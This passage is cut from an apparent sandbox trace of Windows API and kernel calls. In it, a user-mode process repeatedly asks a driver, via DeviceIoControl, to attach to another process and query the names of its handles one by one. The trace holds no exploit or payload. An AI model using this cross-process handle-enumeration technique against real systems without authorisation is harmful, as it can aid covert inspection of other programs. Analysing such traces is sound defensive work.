Process=0xfffff88004435558) returned 0x0 [0120.772] PsAcquireProcessExitSynchronization () returned 0x0 [0120.772] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.772] ObReferenceObjectByHandle (in: Handle=0x49c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019cc320, HandleInformation=0x0) returned 0x0 [0120.772] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.772] PsReleaseProcessExitSynchronization () returned 0x2 [0120.772] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.772] ObQueryNameString (in: Object=0xfffff8a0019cc320, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.772] ObfDereferenceObject (Object=0xfffff8a0019cc320) returned 0x1 [0120.772] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.772] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.772] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.772] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.772] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.772] PsAcquireProcessExitSynchronization () returned 0x0 [0120.772] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.772] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00196fcd0, HandleInformation=0x0) returned 0x0 [0120.772] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.772] PsReleaseProcessExitSynchronization () returned 0x2 [0120.772] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.772] ObQueryNameString (in: Object=0xfffff8a00196fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.772] ObfDereferenceObject (Object=0xfffff8a00196fcd0) returned 0x1 [0120.772] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.772] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.772] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.772] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.772] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.772] PsAcquireProcessExitSynchronization () returned 0x0 [0120.772] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.772] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001ab67f0, HandleInformation=0x0) returned 0x0 [0120.772] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.773] PsReleaseProcessExitSynchronization () returned 0x2 [0120.773] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.773] ObQueryNameString (in: Object=0xfffff8a001ab67f0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.773] ObfDereferenceObject (Object=0xfffff8a001ab67f0) returned 0x1 [0120.773] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.773] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.773] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.773] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.773] PsAcquireProcessExitSynchronization () returned 0x0 [0120.773] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.773] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0010e4430, HandleInformation=0x0) returned 0x0 [0120.773] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.773] PsReleaseProcessExitSynchronization () returned 0x2 [0120.773] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.773] ObQueryNameString (in: Object=0xfffff8a0010e4430, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.773] ObfDereferenceObject (Object=0xfffff8a0010e4430) returned 0x1 [0120.773] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.773] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.773] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.773] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.773] PsAcquireProcessExitSynchronization () returned 0x0 [0120.773] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.773] ObReferenceObjectByHandle (in: Handle=0x4e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0018ae340, HandleInformation=0x0) returned 0x0 [0120.773] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.773] PsReleaseProcessExitSynchronization () returned 0x2 [0120.773] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.773] ObQueryNameString (in: Object=0xfffff8a0018ae340, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.773] ObfDereferenceObject (Object=0xfffff8a0018ae340) returned 0x1 [0120.773] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.773] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.773] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.774] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.774] PsAcquireProcessExitSynchronization () returned 0x0 [0120.774] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.774] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001c039b0, HandleInformation=0x0) returned 0x0 [0120.774] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.774] PsReleaseProcessExitSynchronization () returned 0x2 [0120.774] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.774] ObQueryNameString (in: Object=0xfffff8a001c039b0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.774] ObfDereferenceObject (Object=0xfffff8a001c039b0) returned 0x1 [0120.774] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.774] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.774] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.774] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.774] PsAcquireProcessExitSynchronization () returned 0x0 [0120.774] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.774] ObReferenceObjectByHandle (in: Handle=0x52c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001a69640, HandleInformation=0x0) returned 0x0 [0120.774] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.774] PsReleaseProcessExitSynchronization () returned 0x2 [0120.774] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.774] ObQueryNameString (in: Object=0xfffff8a001a69640, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.774] ObfDereferenceObject (Object=0xfffff8a001a69640) returned 0x1 [0120.774] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.774] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.774] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.774] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.774] PsAcquireProcessExitSynchronization () returned 0x0 [0120.774] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.774] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001a21af0, HandleInformation=0x0) returned 0x0 [0120.774] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.774] PsReleaseProcessExitSynchronization () returned 0x2 [0120.774] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.774] ObQueryNameString (in: Object=0xfffff8a001a21af0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.775] ObfDereferenceObject (Object=0xfffff8a001a21af0) returned 0x1 [0120.775] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.775] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.775] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.775] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.775] PsAcquireProcessExitSynchronization () returned 0x0 [0120.775] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.775] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001cb3830, HandleInformation=0x0) returned 0x0 [0120.775] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.775] PsReleaseProcessExitSynchronization () returned 0x2 [0120.775] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.775] ObQueryNameString (in: Object=0xfffff8a001cb3830, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.775] ObfDereferenceObject (Object=0xfffff8a001cb3830) returned 0x1 [0120.775] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.775] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.775] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.775] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.775] PsAcquireProcessExitSynchronization () returned 0x0 [0120.775] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.775] ObReferenceObjectByHandle (in: Handle=0x584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020aabb0, HandleInformation=0x0) returned 0x0 [0120.775] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.775] PsReleaseProcessExitSynchronization () returned 0x2 [0120.775] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.775] ObQueryNameString (in: Object=0xfffff8a0020aabb0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.775] ObfDereferenceObject (Object=0xfffff8a0020aabb0) returned 0x1 [0120.775] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.775] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.775] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.776] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.776] PsAcquireProcessExitSynchronization () returned 0x0 [0120.776] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.776] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002386780, HandleInformation=0x0) returned 0x0 [0120.776] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.776] PsReleaseProcessExitSynchronization () returned 0x2 [0120.776] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.776] ObQueryNameString (in: Object=0xfffff8a002386780, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.776] ObfDereferenceObject (Object=0xfffff8a002386780) returned 0x1 [0120.776] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.776] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.776] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.776] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.776] PsAcquireProcessExitSynchronization () returned 0x0 [0120.776] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.776] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0017fa6b0, HandleInformation=0x0) returned 0x0 [0120.776] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.776] PsReleaseProcessExitSynchronization () returned 0x2 [0120.776] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.776] ObQueryNameString (in: Object=0xfffff8a0017fa6b0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.776] ObfDereferenceObject (Object=0xfffff8a0017fa6b0) returned 0x1 [0120.776] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.776] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.777] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.777] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.777] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.777] PsAcquireProcessExitSynchronization () returned 0x0 [0120.777] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.777] ObReferenceObjectByHandle (in: Handle=0x5f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001247ab0, HandleInformation=0x0) returned 0x0 [0120.777] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.777] PsReleaseProcessExitSynchronization () returned 0x2 [0120.777] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.777] ObQueryNameString (in: Object=0xfffff8a001247ab0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.777] ObfDereferenceObject (Object=0xfffff8a001247ab0) returned 0x1 [0120.777] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.777] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.777] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.777] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.777] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.777] PsAcquireProcessExitSynchronization () returned 0x0 [0120.777] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.777] ObReferenceObjectByHandle (in: Handle=0x5f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001bb0d70, HandleInformation=0x0) returned 0x0 [0120.777] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.777] PsReleaseProcessExitSynchronization () returned 0x2 [0120.777] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.777] ObQueryNameString (in: Object=0xfffff8a001bb0d70, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.777] ObfDereferenceObject (Object=0xfffff8a001bb0d70) returned 0x1 [0120.777] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.777] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.777] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.777] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.777] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.777] PsAcquireProcessExitSynchronization () returned 0x0 [0120.777] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.778] ObReferenceObjectByHandle (in: Handle=0x604, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00212faf0, HandleInformation=0x0) returned 0x0 [0120.778] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.778] PsReleaseProcessExitSynchronization () returned 0x2 [0120.778] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.778] ObQueryNameString (in: Object=0xfffff8a00212faf0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.778] ObfDereferenceObject (Object=0xfffff8a00212faf0) returned 0x1 [0120.778] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.778] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.778] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.778] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.778] PsAcquireProcessExitSynchronization () returned 0x0 [0120.778] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.778] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002399cd0, HandleInformation=0x0) returned 0x0 [0120.778] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.778] 